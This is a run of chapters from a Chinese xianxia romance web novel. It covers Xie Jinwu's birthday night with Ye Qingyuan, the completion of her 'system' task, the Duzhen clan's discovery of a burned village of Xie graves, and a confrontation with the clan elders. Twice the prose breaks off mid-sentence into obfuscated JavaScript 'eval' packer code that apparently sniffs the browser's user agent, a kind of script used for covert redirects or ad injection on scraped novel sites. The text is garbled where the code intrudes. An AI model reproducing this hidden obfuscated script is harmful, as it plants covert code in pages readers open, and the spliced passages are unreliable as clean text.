谢尽芜很轻柔地托住这音乐盒,轻柔得都不敢用力,像是捧住了至宝。他撩起眼皮和她对视片刻,“手指都磨红了,就是为了做这个吗?” 叶清圆笑了:“还不太熟练嘛,时间又太赶了。下次给你做个更好的。” 谢尽芜眼睫颤动,牵起她的手,垂下颈子,薄红柔软的唇落在她的手指与手背,小心翼翼地啄吻。 “我就喜欢这个。” 叶清圆哑然地俯视着他,谢尽芜的眼梢泛红,清亮的眼眸亮晶晶的,像是浮了一层水。 他的吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还有生辰祝福呢。”叶清圆扬起脸,眼眶亦有些酸涩,脸上却带笑,“祝我的小谢哥哥从今往后,每天都有好吃的好玩的,床榻也软软的,每天都好梦,再也不睡山洞和树杈子。” 还有这样的生辰祝福吗? 谢尽芜的脸颊依旧贴着她的手心:“最重要的呢?” 你不会永远陪着我吗?倘若没有你作陪,我要这些又有什么用? 叶清圆又笑:“祝你今后,会获得很多很多的爱。” 谢尽芜不满意:“我只要你。” 他抓着叶清圆的手,非要她重新说。叶清圆被他捉弄得手腕发痒,两个人闹了一会儿,她总算告饶似的说好,说我怎么会不爱你呢? 谢尽芜放下音乐盒,手臂用力将她连人带薄毯一起抱到了自己的腿上,无限依恋缠绵地将脸颊埋在她的颈间。 月光清亮,两个人就这样静静抱着,不掺杂任何欲.念。 叶清圆抱住他的肩颈,脑袋抵在他的颈窝,片刻后才听见他问:“那句咒语……为什么是我唱歌?” 叶清圆清了清嗓子,很是理直气壮:“因为我不会唱。” “……嗯。” 谢尽芜心态良好地接受了这个答案。 她轻声笑,过了一会儿又问:“大家一起陪着你过生辰,这种感觉是不是还挺好的?” 有说有笑有闹,恋人、亲人和友人都在身边。世间至乐,便是如此。 谢尽芜:“你陪着我就好。” “人多了热闹嘛。而且你看,大家都很关心你呀。”叶清圆笑了笑。 谢尽芜闷声:“我不需要,我只要你爱我就够了。” 叶清圆被他的倔强弄得没一点办法,又不舍得说重话。 “以前一个人的时候,也会想起来过生辰吗?” “没有想过。” 他边说边收紧了手臂,一副要把叶清圆整个嵌入怀中的架势。 他从前在希夷殿的时候就寡言少语,冷静孤僻,不喜欢和那些世家子弟接触。除夕时其他同僚都回家探望团聚,他便一个人住在幽黑的竹楼里,拭剑、拂霜,仰头看月亮。 那时候脑海里除了生死再无其他,所谓亲情、所谓团聚,于他而言早成了空。他带着满身的伤痕、从最底层开始厮杀,踩着无数人的尸骸才终于走到二殿主的位置,这一路刀剑加身、风雪兼程,他连自己身上那些深可见骨的伤痕都无暇照顾,还有什么心思去伤春悲秋? 可如今叶清圆将他抱在怀里,手心也轻柔,语调也温和,他望着她那双琥珀色眼眸中倦懒的纵容的微光,再回想曾经那段日子,却觉得自己要委屈死了。 叶清圆突然想起来什么:“对了,上次我看到你的身上有许多伤痕,是什么时候留下来的?” 谢尽芜没吭声,但眼睛一直静静地看着她,像是试图通过她脸上的神情寻找出什么。 叶清圆只是纯粹觉得很怜惜,谢尽芜的身体其实……咳,很不错,就是肩背、手臂的那些伤疤看起来挺骇人的,当初也不知受了多严重的伤。 若只看他那张清隽皙白的脸,谁也不会想到他衣服下竟是这般模样。 谢尽芜看了她好久,试探着问:“吓到你了吗?” 89. 蓼红 他的眼里有点委屈的意思。 叶清圆有心逗他,安慰的话到嘴边就改了口,点头道:“是有点。” 谢尽芜紧抱着她的手臂放轻了力道,像是有些挫败和沮丧。 他静静看了她片刻,又一次试探:“很丑陋吗?” 叶清圆道:“是有点。” 这次,谢尽芜眼睛里的委屈彻底藏不住了。他的眼睫剧烈地颤抖起来,手指在袖中攥得死紧,“你在嫌弃我是不是?” 叶清圆睁大双眼:“我怎么会呢?” 可谢尽芜已经听不进去了,他承受不住似的紧抱住她的腰,薄红的唇挨紧她的,一个欲吻未吻的距离。 他强硬道:“那也晚了。反正你我已经……你若实在害怕,我们以后都熄灯便是。你今后不准找别的人,看也不行!从此以后,你只能有我一个。” 叶清圆咬住下唇,根本没料到会惹起他这么大的反应,连忙哄道:“好好好。” 她揪住他的脸颊肉:“不要生气嘛。我什么时候说要找别的人了?永远都只有你呀。” 谢尽芜的目光赤诚而热烈,好认真,就这么一瞬不转地盯着她:“叶清圆,我是你的。” 语速缓慢,一字一句,像是要给她催眠。 叶清圆怔怔地望着他。 漫天星光闪烁,他的眼眸清润乌黑,却只倒映着小小的一个她。 星月清明如流水,庭院深深。 廊檐外栽了一株梅树,有风吹来,红粉的花瓣飘落在两人之间。 谢尽芜的手掌抚着她的脸颊,拇指抵在她的下颌骨,又说了一遍:“我是你的。” 叶清圆与他额头相抵,道:“记住了,你是我的。” 谢尽芜紧紧拥抱住她,像是拥住了只属于他自己的整个世界。 叶清圆整个人都被他包裹住,埋在宽厚温暖的胸膛,恍惚间有种要融进他怀里的感觉。 “系统提示:恭喜宿主,角色【谢尽芜】对宿主的心动值已经达到100%!恭喜宿主攻略成功,完美完成主线任务二!” 一阵喜悦的小号声响起,伴随着浪潮般的掌声和欢呼声,鲜花与彩带簇拥着她的金灿灿的奖章。 叶清圆屏息凝神又等待片刻,没听到主线任务一失效的提示,这才终于放了心,贴着谢尽芜的脸颊轻轻笑了出来。 太好了,她要亲自完成任务一,去给江云初替命。 谢尽芜安全了。 这真是她最期待的消息了。 她的手抚上他的肩头,轻声道:“谢尽芜,我对这些伤疤好奇,并非是嫌弃,而是怜惜……怜惜你竟然吃过那么多苦头,受过那么多的伤。” 谢尽芜的眼中情绪从执拗到不敢置信,再到此刻的惊喜。 他的鼻梁贴着她的侧颊,呼吸都放轻了:“你在心疼我吗?” 叶清圆也从来不曾这般剖白心迹,话说出口才后知后觉地脸热起来,连忙转移话题道:“所以这些伤痕是怎么来的?” “记不清了。”谢尽芜勉力按捺住那份想要吻她的心情,轻声说,“或许是在希夷殿时留下的。” 叶清圆忍不住恼怒,他竟然这样不懂得爱惜自己。 谢尽芜的眼珠微动,忽然低头,在她唇上亲了一口。 叶清圆:“……” 谢尽芜在她耳畔轻声道:“我真的不记得了,不如你再挑别的伤痕问问?反正我身上的伤多得是。你若是看不清,待会回房点了灯让你仔细看……” “谁要看你的伤了?”叶清圆面红耳赤,觉得此人是愈发口无遮拦。 谢尽芜却不管,将她抱起来大步进了小院,再上楼进卧房,将她放到了床榻上。 之后,他紧挨着她坐下,眸光深沉如静湖,却满是渴望期待地望着她。 叶清圆浑身还裹着外头的寒气,她将外氅解下来,抱着膝盖坐在榻边。 一转头,就撞见谢尽芜隐忍的眼神。 纵然天天相见,可谢尽芜还是止不住地想她。 从雪夜那次之后就没有机会再亲密过,叶清圆总找各种理由推脱,刚开始是第一次之后身体不太舒服,后来又是要练剑,晚上要养精蓄锐,不叫他近身。 谢尽芜其实很顾及她的意愿,也愧疚于雪夜那晚叫她吃了不少苦头,因此平常亲吻时诚然已经克制许多。 他知晓她不喜欢那般强制作风,所以一再告诫自己要体贴,只要她表现出推拒的意思,他都忍耐着停下,绝不放纵。 可他毕竟也才十九岁,纵使是再冷漠疏离、清心寡欲的人,与心上人朝夕相处时也总有难以自控的时候。情浓难抑也好,食髓知味也罢,他对她的青涩柔嫩的身体有好奇、有渴望,更有爱怜。 这本就是水到渠成顺理成章的事,他坦然承认,并认为没什么好掩饰。 叶清圆的腿上还盖着那张薄毯,她眼珠一转,指向茶桌,“去把那壶酒拿来。” 谢尽芜不想让她醉得太厉害:“不喝了。” “快去。”叶清圆催促。 他只好将酒拿过来,浓郁的花香霎时充盈鼻端,是蓼红。 他晃了晃,幸好仅余半壶,好声好气地与她商量:“只喝一点?” 叶清圆趴在他的肩膀上,倦懒笑道:“为什么呀。” 谢尽芜眨眼,轻声答:“可以醉,但不要醉得太厉害。” 有力气撒娇、哼唧,最好。 她醉起来是什么模样他还记得,起初是长了腔调要说胡话,软绵沙哑的声音唤得人心里发痒,可等酒意上来了却又昏沉要睡。千花河畔那次不就是吗?小舟划到莲叶深处,月光清亮,水光澄澈,可她醉倒在他怀里,睡得像只猪。 他不想让她睡,他喜欢她清醒。 叶清圆才不管他,夺过酒壶一口一口地喝,慢慢地醉。蓼红的酒液殷红如花,沿着她的下巴流淌下去,流淌进衣领中。 谢尽芜看着她,原本澄澈的眸光变得幽邃灼亮。 他揽过她的腰,难以自控地凑过去舔吻她下巴的酒。 他吻得轻柔,带着点讨好的意思。叶清圆颇觉好笑地等了等,才抵着他的喉咙推开他,轻声道:“先前你说你有个生辰愿望,在饭桌上不方便说。那现在方便说出来了吗?” 谢尽芜蓄谋半天终于亲到她一口,还没亲够就被推开。馨香气息萦绕鼻端,是她身上蒸腾出来的味道。 纵使他再清心寡欲,此时也憋不住地满脑子都是胡乱念头。 他半阖着眼,挺直的鼻梁在她的耳垂处很轻地蹭,薄唇微启:“我想……” 后面几个字声音压得太低,唯有温热的气流扑在她的耳畔。 叶清圆听罢蓦地红了脸颊。 她憋了半天,连头皮都忍不住有些发麻:“……你能别这么过分吗?” 谢尽芜好无辜地看着她:“不是说会让我实现愿望吗。” 叶清圆深吸一口气。 罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢尽芜将薄毯扯开丢去一旁,在浓烈的花香酒香中,沉醉般地垂下颈子与她接吻。手指战栗着扯开那被酒液洇湿的衣料,他强忍住放肆啃噬的冲动,低眉吻了下去。 窗外梅枝摇曳,簌簌抖落了满地的碎雪。 - 烟波浩渺的河面上,涟漪阵阵,一行身穿宽袍大袖的修士足尖掠过冰冷的水面,踩在了那条泥泞的山道。 自河岸边抬眼望去,山腰处那片红枫林宛如烈火般燃烧。 松树与红枫掩映间,隐约可见村庄里灯火的亮光。 顾九枝扬起脸,向来平静淡然的眼眸中蓦地闪过一丝痛苦。 云山站在她身旁,拂尘轻摆,冷笑道:“这红枫树倒是生得不错。师姐,你可还眼熟呢?” 江云初跟在后面,无言暗叹:“……” 顾九枝偏过脸,冷冷地凝了他一眼。 云山挑眉道:“让你想起某位故人了吗?” 顾九枝强忍住动手的冲动,转身看向身后的江云初,淡声道:“江姑娘,我们进山吧。” 江云初颔首笑道:“好。” 两人并肩走过,完全无视了故意挑衅的云山。 “……哼。”云山忿忿不平地翻了个白眼。 月朗星疏,时隔十五年,渡真子弟再一次进入了冽雪山谷。 90. 妖冢 冽雪山谷。 雪落得紧了,如柳絮如鹅毛一般飘飘扬扬地洒下来,墨色的山岩很快被覆盖住。 站在山谷里望外看,山体在夜色中是沉默的庞然大物,漆黑的夜幕下被模糊得只余峥嵘冷峻的轮廓。 谷中月光凄冷,明暗起伏,一行人借着月色深一脚浅一脚地走,呼出的热气如云雾飘散。不知过了多久,眼前视野骤然开阔。 凛冽的晚风中裹挟着潮湿雾气,周遭老树的枝干上有成群的乌鸦在栖息。 这里的风真冷,仿佛刀锋一般能刺透人的骨髓。 渡真子弟沿着破败的山道走了一程,天际云翳散去,清辉泼洒,现出山谷中坐落着的一片古老建筑群。 有人倒吸一口冷气:“喂,这不是封印妖鬼的地域吗?怎么竟像是有人居住过的模样?” 旁边有人笑他没见识:“这话说的,人家妖怪就不可以住房子吗?” 隔着厚重雪帘遥遥望去,依稀可见那被烈火焚烧、冰雪覆盖过的坍圮墙垣,这里的建筑并非木制榫卯构造,而是砖石建造,因此经过焚烧之后也大部分保存完好,唯有墙壁上显出浓重的灰黑痕迹。 这是一片被冰雪掩盖住的废墟。 为首那名弟子也心生疑惑,却按住不发,他抬袖制止队伍中的窃窃私语:“先探查封印要紧,不要在此浪费时间。若是云山长老怪罪下来,我可护不住你们。” 话音落下,顿时寂静。 李小满跟在队伍的最后,勉力跟上同伴的步伐,同样是满腹的疑惑。 他灵力低微,身手也差,这么多年在渡真世家也没混出个名堂来,只到处给人做小弟,点头哈腰地跑腿。按理来讲,他是没有资格参与到这次的任务当中的,可他脸皮厚呀,几次三番地向云山长老恳请,云山或许也是对他的执著感到不耐烦,就点了头。 说来也怪,在渡真世家,云山长老可谓是风评最差之人。 他看重实力与手段,而无半点悲悯之心,且性情过于刚直,不懂转圜,行事风格常惹得众人怨声载道,却惧于他的地位不敢妄言。 然而李小满却是个例外,他自从来到渡真世家之后,就一心想要拜入云山长老的门下,甚至于同期伙伴对云山的所谓惧意,他也从不表现出来。 在众人眼中,他对云山,似乎有着超乎寻常的执着。 可是李小满灵根太差,天资平平,修了多年却还只是个外门子弟。 他这辈子都未必有机会与云山长老说上一句话的。 若非当初被顾景年收作小弟,常常往长老院跑腿,云山压根不会多瞧他一眼。 不过如今顾景年也死了,听说是被谢长生亲手所杀呢。 那位谢长生杀死了这么多渡真子弟,以云山睚眦必报的性情,肯定会找他寻仇。 谢长生的修为也不低,他灵脉曾爆裂过两次,身手早已非比寻常。这两人若是撞上,不知谁胜谁负。 谢长生会反过来杀掉云山吗? 李小满不清楚,他只是叹息着呼出一口气,努力按捺住唇边那抹快活的笑意。 旁边的一名同伴抬袖戳了戳他,嗤笑道:“云山长老是不会责罚你的吧?毕竟你这么弱,稍一责罚说不准连小命都没了。长老应当会对你网开一面。” 李小满偏过脸看他,圆眼中露出恰到好处的茫然:“弱就不会受罚吗?” “谁知道呢,”那人耸了耸肩,“我只是想说,云山长老虽脾气暴躁,可对于你这种……也没多大指望。” 因为弱小无能,所以对他没有任何期望。纵使他犯了错,云山也根本不会放在心上。 李小满似懂非懂地“哦”了一声,满脸呆笨懵懂的模样。 “话说回来,你为何总想着拜云山长老为师呢?他手下弟子过的可都不是什么好日子。”那人嗤笑,“你这么执着,我都要怀疑云山长老是你亲爹了。” 李小满脚底一滑,险些摔倒,低垂的眼中有憎恨之意一闪而过,他低声道:“这种话不要胡说。” 那人也觉得自己玩笑开得过分,抬手摸了摸鼻子,讪讪住口。 两人窃窃私语间,队伍便已走到山谷当中,与那坍塌的废墟不过十步之遥。 废墟周遭的雪地里,赫然立着无数矮小石碑,上头刻着繁复的咒文。一柄光剑插在正中,皎洁月色之下,剑身隐隐有法环流转。 为首的领队沉声道:“云山长老的吩咐,只加固石碑周遭的封印,其余之处不许走近,更不许触碰。若有违者,按族规处置。” 众人闻言心惊,暗道不愧是云山长老的行事风格。当下纵身散去,分别据守在不同的石碑旁。 李小满也寻了个角落站好,与其他弟子的沉静冷淡相比,他倒显得颇为无所适从。 没办法,谁叫他又菜又没见识呢?冽雪山谷这一遭,就当是一次开眼界的机会吧。 众弟子将手掌按在冰冷坚硬的石碑上,无数光点在掌下亮起,随即汇聚成一道明亮的法环,环绕住这座阒寂而毫无生机的旧居。 法环形成的一瞬间,众人就意识到,这是一道彻底断绝界内生机的阵法。 李小满蹲在旁边的枯树下,仰脸看这漫天的淡金色光芒,眼中露出崇拜的神色,喃喃道:“我什么时候也可以变得这么厉害啊……” 他是来打杂的,起到一个凑数的作用。 众弟子垂目凝神,掌心灌注灵力,同时轻声念出法诀,加固这道困妖阵法。 呢喃似的轻语旋即消散在晚风中,李小满心生好奇,忍不住凑近去听。 脚步挪了又挪,还是听不清。他干脆起身想要走近几步,蓦地足下一个踉跄,竟从小土坡上倒栽葱似的一头栽了下去,整个人都撞进了运转着的法阵中! 法阵灵力出现一瞬的波动,法环碰撞,荡出铜铃般的声响。众弟子察觉有异立刻停手,怒声道:“喂!你做什么!” “说了不要靠近阵法!你怎么不听命令!” 李小满痛叫一声,他本来也只是想闯进阵法而已,却没料到这足下冰雪如此之滑,愣是劈着叉往里滑行了好几步,栽在了废墟前的石阶上。 “李小满快出来!” “你脑子有病啊,不要命了!” 这困妖法阵极为危险,原理就如捕蝇草般困住猎物再慢慢杀死,待得越久越危险。渡真弟子慌忙间也顾不得什么,见李小满摔得四仰八叉动弹不得,连忙撤手奔去,想尽快将这成事不足败事有余的笨蛋拽回来。 谁知一进那法阵,李小满痛得呲牙咧嘴地坐起身来,手中却不知抓了什么东西,他定眼一瞧,吓得大叫一声扔开,蹬着腿逃出好远。 ——“死人,有死人啊!” 为首的弟子刚要开口骂他,目光无意中往那东西一瞥,竟也怔住了。 ——那是一截人的腿骨。不知在冰雪中冻了多久,萎缩发黑的皮肤上还裹着一层霜花。 李小满吓得浑身打颤,惧怕到极点反而失了理智,惨呼出声,从雪地里爬起来屁滚尿流地闷头就跑。众渡真子弟见他慌不择路竟一路往废墟深处跑,也是恼得气血翻涌,抬腿就要追。 为首那名弟子低声骂道:“我真是倒了八辈子大霉!到底是谁将这么个玩意塞进队伍里的?回去看我削不削他吧!” 后头有人小声道:“是云山长老点的头。” 那名弟子眉头一抽,怒骂的话到了嘴边,硬生生咽了下去。 追到一半,没见李小满。莹莹月光之下,竟见废墟深处大雪掩埋,而在雪地之上,却是立着一个个简陋的墓碑。 “李小满呢?他不是脚滑吗,怎么跑这么快?属兔子的啊?” “这些妖鬼倒是讲究,还懂得给自己立碑么?” 有弟子这么一提,众人的心思当即落在了墓碑上。凑近一瞧,碑上以隶书刻着亡者的姓名与生卒年月,字迹缭乱却显然是出自一人之手,甚至连墓碑都像是同时立下。 渡真子弟面面相觑,看清了彼此眼中的疑惑与惊悚,“妖鬼也会给自己取名字吗?” “这好像是……人的墓碑。” 清亮月光下,那墓碑上刻满了姓名。 ——谢知敏、谢迢迢、谢韵、谢长晴。 墓碑太多,以至于偏僻角落中辨认不出身份的,只好立一块无字碑。 法阵之事早已被抛之脑后,他们怀着满腹的疑惑越走越往深处,却越看越是心惊,直到走到地势最高处那栋漂亮的小院门口,看清了那墓碑上刻的字:“谢雪绯之墓。” “这些人都姓谢,而且……他们死亡的时间一样,都是十五年前的大雪日。” “不对,这位谢雪绯去世得要早一些,早了十天。” 莹白的月光泼洒,照亮众人诧异惊恐,慌乱灰败的脸。 “……十五年前的大雪,不是我们族中派人封印此地妖鬼的时候吗?” 为何不见妖鬼?却都是人的坟茔? 放眼望去,石桌棋盘、长廊玉阶、天井广场……甚至那枯死的榆树下,还有一只破旧的小孩子坐的摇摇木马。 此地并非妖鬼之域,竟像是人族聚居的村落。 “怎么回事?”“……这是幻境吗?” “还是我们……走错地方了呀?” 低声的猜测,却无人敢提出那个可怕的想法。 众人呆愣愣地站在空寂的长街中央,墨带飘飞,袖摆曳地,脸上一路狂奔激出的薄汗被刺骨凛冽的晚风拂过,霎时如坠冰窟,浑身止不住地发颤。 极致的寂静中,只听见血液在血管中奔涌沸腾的声音,以及胸腔中不安的心跳声。 片刻后,残雪压断榆树枝的咔嚓声响起。 一阵冷风呼啸,摇摇木马发出尖锐刺耳的吱呀声,檐下辟邪铃轻晃,发出悠远而空灵的 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谢长生道:“我的什么?你们一个个竟都听话乖巧至此,不曾听闻我与渡真世家的血海深仇么?” 话音落下,他冷眼望着这一张张稚嫩而茫然的面容,浓睫低垂。 渡真众人的脸色顿时难看起来。 眼前这位谢长生,确实是杀害二十多位渡真高层的罪魁祸首。 就连永安江氏的大小姐,都是谢长生亲手打伤的。 他的名姓至今还张扬地挂在世家通缉令上。 谢长生随手将油纸伞丢在雪地,溅起细雪如云雾,同时抽剑出鞘,“铮!”的清鸣声过,雪亮剑光映在他秀挺的眉间。 惊飞的雪幕有一瞬凝滞,随即剑意纵横弥漫,直冲渡真众人的面门而去! - 许雁含不见了。 细雪纷扬的清晨,叶清圆撑着伞来到她居住的小院敲门时,许久不闻人应答。她推门进屋,却见屋内茶冷灯熄,摆在书案上的一沓符纸也不见了踪影。 与此同时,脑海中系统的声音响起:“提示:支线任务三剧情线正式开始!请宿主立刻前往冽雪山谷!” 叶清圆站在清冷孤寂的巷道中,心内焦灼如焚:“雁含去哪了,雁含去哪了?” 系统寂声。 她沿着山道快步走,一时心乱如麻。渡真世家纵使再想杀人灭口、掩盖真相,也不必对一个无辜的小女孩出手,许雁含必定是自己出去的。 ——那她出去做什么?去找小鹤仙? 许雁含的心中对小鹤仙有着很深的执念,这牵系着她多年未见的生身父母,并非仅是传说。 可她那晚所见根本不是小鹤仙,那宽袍大袖泼墨山水,素洁的黑白色彩,不过是渡真世家的子弟。 叶清圆忍不住有些急:“系统,能不能带我去找许雁含?” 系统默然片刻:“可以,请宿主跟随导航前行。” - 晴雪院中,红梅枝头积雪玲珑剔透,折射着清晨稀薄的光。 谢尽芜将洗净的碗筷擦干摆好,又把灶台都收拾一遍,掀帘出了厨房。 细雪纷扬。院外传来凌乱匆忙的脚步声,白璟绕过照壁跑来,喘息道:“哥,你怎么还在这?我刚才看见叶姑娘一个人急匆匆往山谷里去了,不知道发生了什么事?” 谢尽芜脸色蓦地一变:“山谷?” 瞬息间,他回想起前几日出现的心影,以及昨夜里叶清圆说过的那些话。 她叫来白璟和许雁含一起陪他过生日,让他知晓这世上还有人在关心他。 她祝他拥有很多很多的爱。 可是她呢?若非他不肯罢休地非要她说永远爱他,叶清圆的那番话,竟像极了一场隐晦的告别。 谢尽芜眉心微蹙,越想越是心惊震怒,这些念头如同一阵凄风冷雨彻底扼杀他心中的温馨与柔情,叫他胸闷头昏,眼前阵阵发黑。 他的手按在冰冷的石桌上,身形不稳,险些怄出血来,勉力才咽下喉间一股血腥气。 “还有雁含妹妹也不知去哪里了,听酒馆的老板讲她今早竟没过去煮茶……哥你干什么!你要去找她们的话,那我也去!” 谢尽芜步伐一顿,低眸望着他,清亮的眼瞳中已然有血丝浮现:“在家里待着,不要乱跑。” 白璟睁大双眼:“不行!凭什么不许我去?” “若你有什么闪失,我不好向你父亲交代。” 白璟咬牙道:“我不是需要人保护的小孩子!更不是一味躲避的懦夫!我一定要去。” 他薄薄的唇抿得死紧,乌亮的眼瞳中闪着倔强的光。 谢尽芜冷冷凝了他半晌,唇边终于勾起一抹笑意:“好。带着你的引魂铃,跟我走。” 91. 相见 叶清圆循着系统的指示,沿着山道一路往冽雪山谷行去。 山道崎岖不平,积雪覆盖,说不好下头是否有坑洼,她一路走一路观察地势,心中谨慎与焦急交错,没多久身上就烘出了薄汗。 这里的天空高而远,空气凛冽如冰雪,呼吸时仿佛能把人的肺腑都洗干净。叶清圆忍着鼻腔的冰冷之意,行了将近半个时辰,才在溪水畔的一株枯树下,见到了许雁含落寞的身影。 许雁含抱着膝盖坐在枯树根上,脸颊都埋在胳膊里,肩膀轻微耸动,竟像是在哭泣。叶清圆按兵不动,先观察周遭情况,这一眼不得了,竟见远处粗壮的树干后头隐隐有白袍飘飞,像是渡真的修士。 这些修士们在树后持剑而立,并不交谈,仿佛是在奉命据守着什么。叶清圆知晓渡真世家来此必会小心谨慎,想尽办法掩人耳目。她观察一阵,趁那些修士不注意,起身溜过去将许雁含拽了过来。 二人矮身躲在山石后头,许雁含脸上还带着泪花,惊诧道:“清圆姐姐,你怎么来了?” 不远处还有渡真的子弟在巡逻,寻不到逃走的机会,只好先在此躲避片刻。 叶清圆忍不住想捏她的脸,责备道:“我才要问你!为什么自己来到这种危险的地方?又是为了那什么小鹤仙?” 许雁含眨了眨眼,泪珠盈睫:“今早的时候,我亲眼见到小鹤仙站在酒馆的门口……” “不是小鹤仙,是渡真世家的修士。”叶清圆刻意将语气放严肃了些,试图唤醒她,“雁含妹妹,不要再为了小鹤仙而涉险了。” 话音落下,许雁含捂住脸,情绪却好似决堤,抽噎道:“我知道了,我都知道!这世上根本就没有小鹤仙,有的只是我的灭门仇人!” 叶清圆抚在她肩头的手一颤,“什么?” 正要追问,耳畔忽地传来一阵微不可察的簌簌踏雪声。叶清圆惊觉有人走近,先制止住许雁含的哭泣声,尚且没来得及逃,一道纤长的人影已经自山石后拐过来,轻声道:“清圆。” 来人身穿水蓝色修士袍,柔软乌发以一支银簪挽住,裙摆绣制雪浪泼天。 叶清圆怔住了:“云初姐姐?” 江云初扯起唇角淡笑:“好久不见。” 她脸色苍白,身形也瘦削不少,一次重伤耗去了她太多的精神与气血。她眉目原本生得柔和而坚定,此时望过来的眼眸却笼着烟雨般,凄切哀婉。 叶清圆望着她:“云初姐姐,你的伤还好吗?” “嗯,好得差不多了。那位谢长生出手真是够狠,险些将我的心脉都打碎。”江云初就这么面不改色地叙说着,“不过也幸好我躲了过去,他的剑气偏离了半寸。否则此刻我未必能站在这里和你讲话。” “云初姐姐……” “清圆,你自始至终都是局外人,不必为此感到自责。”江云初浅淡的唇畔有点笑意,望向满面泪痕的许雁含,“不过这位姑娘却是有些不懂事了,竟一路追着顾家主来到了冽雪山谷,莫非是想参与我们家族之间的事务吗?” 叶清圆上前半步将许雁含护在身后,笑道:“她是无意的,小孩子对修士服心生好奇罢了。难道云初姐姐这也要计较吗?” “小孩子?”江云初的目光落在许雁含身上,“一箭射死一头狼、一拳打晕我们江氏修士的小孩子?” 许雁含:“我天生神力,不行?你们那些人身板孱弱不堪,与其指责我,不如回家多练,省得连我一招都接不住。” 江云初挑眉。 大氅之下,叶清圆将袖笼里的护身符纸全部掏出来,偷偷塞到了许雁含的手中。 “那清圆呢,现在是要和我作对了吗?”江云初轻咳一声,再开口时声音便有些低,仿佛说这番话已经耗费了她许多力气,“并非我要计较,是渡真的云山长老要计较。清圆或许还不太熟悉这个人的脾气,他要做什么事,谁也拦不住的。” 叶清圆:“不能让我留下吗?反正他们也不曾见过雁含的模样吧?就说是我跟着顾姑娘来的不就得了?” 许雁含焦急道:“清圆姐姐!” 叶清圆按住她的手臂,示意她噤声,随后对江云初笑道:“我在这里陪着你说话呀,还可以帮你解闷,是不是?” 江云初盯着她半晌,忍俊不禁道:“清圆啊清圆。” “放心,今天你们两个谁也走不脱。”江云初拂了拂袖口沾的雪花,“从你们踏入山谷的那一刻起,顾姑娘和云山长老就知晓了,不出面只不过想观察你们的反应而已。” 她做了个手势,随即有永安江氏的弟子上前来,请她们到一旁“就坐”。 叶清圆始终将许雁含护在身后,眼中笑意却慢慢收敛:“云初姐姐,你在这件事当中,到底是什么身份?” “我呀,”江云初的脸上终于露出认真的笑意,“以后你就知晓了。” 她转身欲离开,身旁江氏弟子缓步围过来,恭敬道:“两位姑娘,请吧。” 叶清圆与许雁含对视一眼,眸中露出安慰的意味,拉起她的手跟在江云初身后,两人一同走进了榆树下的一处木柞小院。 此处道路的积雪已经被清扫干净,露出黑黝黝的山石。榆树枝被厚重的积雪压得弯垂下去,快要断裂,几名修士正举着长竹竿敲雪,松软的雪块噗噗砸在地面,细雪飞溅。 进了院门,入眼便见得正堂中两名道人隔桌而坐,桌上摆着热茶,水雾氤氲。 江云初走上前去:“人已带到。” 话音落下,堂中端坐的两人抬眸望来。隔着细密的雪帘,隐约可见他们袖摆的水墨纹与乌发间的木簪墨带,瞧装束正是渡真世家之人。 “就是你跟了我一路啊。”顾九枝将天青色茶盏搁在桌上,柔声笑道,“既然跟过来,为何又不肯亲自见我?” 许雁含手攥成拳,从唇齿间挤出一丝叱骂:“呸!少给自己脸上贴金了!我为何要来见你这杀人凶手!” 话音落下,旁边的云山抬手拍桌,怒不可遏道:“你乱说什么!” 谁料顾九枝竟丝毫不动怒,脸上反倒带着浅浅笑意:“若不来见我,又如何为你的爹娘报仇雪恨呢?” “你承认了?”许雁含的眼眶蓄满泪水,“既然如此,就别怪我出手无情……” 她话音未落,忽地飞身上前,一把攥住了云山的衣领,将他整个人拽得踉跄。 云山根本没反应过来,被她扯得狼狈前倾,旋即握住她手腕,毫不吝惜地狠狠一拧。许雁含吃痛,却是分毫不退让,扬手就是一手刀劈下去,半途被云山生生接住。 她本就力大,现下怒意极盛,出手更是重。云山原本瞧不起她一个姑娘家,此时竟被这一手刀震得臂膀都麻了,心中暗惊,眼角却见亮光一闪,许雁含不知从何处,竟是取出一柄短刀来! 许雁含将短刀扬起,声音里有哽咽:“是你杀了爹娘!” 云山压根没想起她是谁,只是觉得眼前之人甚是不自量力,哼笑道:“好啊,是你先使刀兵,待会就别怪我出手狠了。” 话音未落,指尖已触到后腰衣带的拂尘。 顾九枝搁下茶盏:“云山,坐下。” 随后,她与神色焦急的叶清圆对视了一眼。 叶清圆当即了然,迅速出手,一道定身符贴在了她的肩头,低声道:“雁含妹妹,不要冲动。” 叶清圆不难猜测出她父母被害的真相, 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顾九枝垂目轻笑,不作答复。她身旁的云山却是眉头皱紧了,烦躁道:“何必与这小丫头说这么多?喂,我只问你,那姓谢的到底在何处?他为何不和你一起来?” 他语带不善,凶戾而暗含杀机。叶清圆眉心一蹙,眸中闪过冷意。渡真这帮人办事果真如传闻般利落狠辣,只要能赶尽杀绝,就绝不留下任何生机。 她反唇相讥:“天下姓谢之人多得是,不知这位道长问的是哪一位呀?” 云山怒道:“还能是哪一位?谢氏余孽,除了谢长生之外,不就是你身边那位谢尽芜吗?” 顾九枝道:“云山。” 叶清圆忍不住讥嘲道:“哦,原来云山道长将我们两人困在此地,竟是叫我们做诱饵呀?你既然对谢尽芜的印象这么差,又这么有本事,为何不亲自前去见他?是不喜欢吗?还是没胆量?” “放肆!”云山怒而拍桌,“你与谢尽芜同行许久,竟连他的妄言无礼也学了来……” “云山,住口!” “师姐!”云山扭过头看她,眉头紧蹙,眼神凶狠,“师姐不要忘了我们此行的目的。先前派出的那队弟子至今还被谢长生困在废墟阵法中动弹不得,师姐还要在此浪费时间与这些人虚与委蛇吗?” 话音未落,叶清圆蓦地发觉这院中诸弟子来往忙碌,神色焦急隐忍,像是在不断商议、调整着什么。再望院外灰白天际,那山谷的正上方,竟是隐隐现出一道淡金色的法环,光芒流转,不时有清越的环铃声遥遥传来。 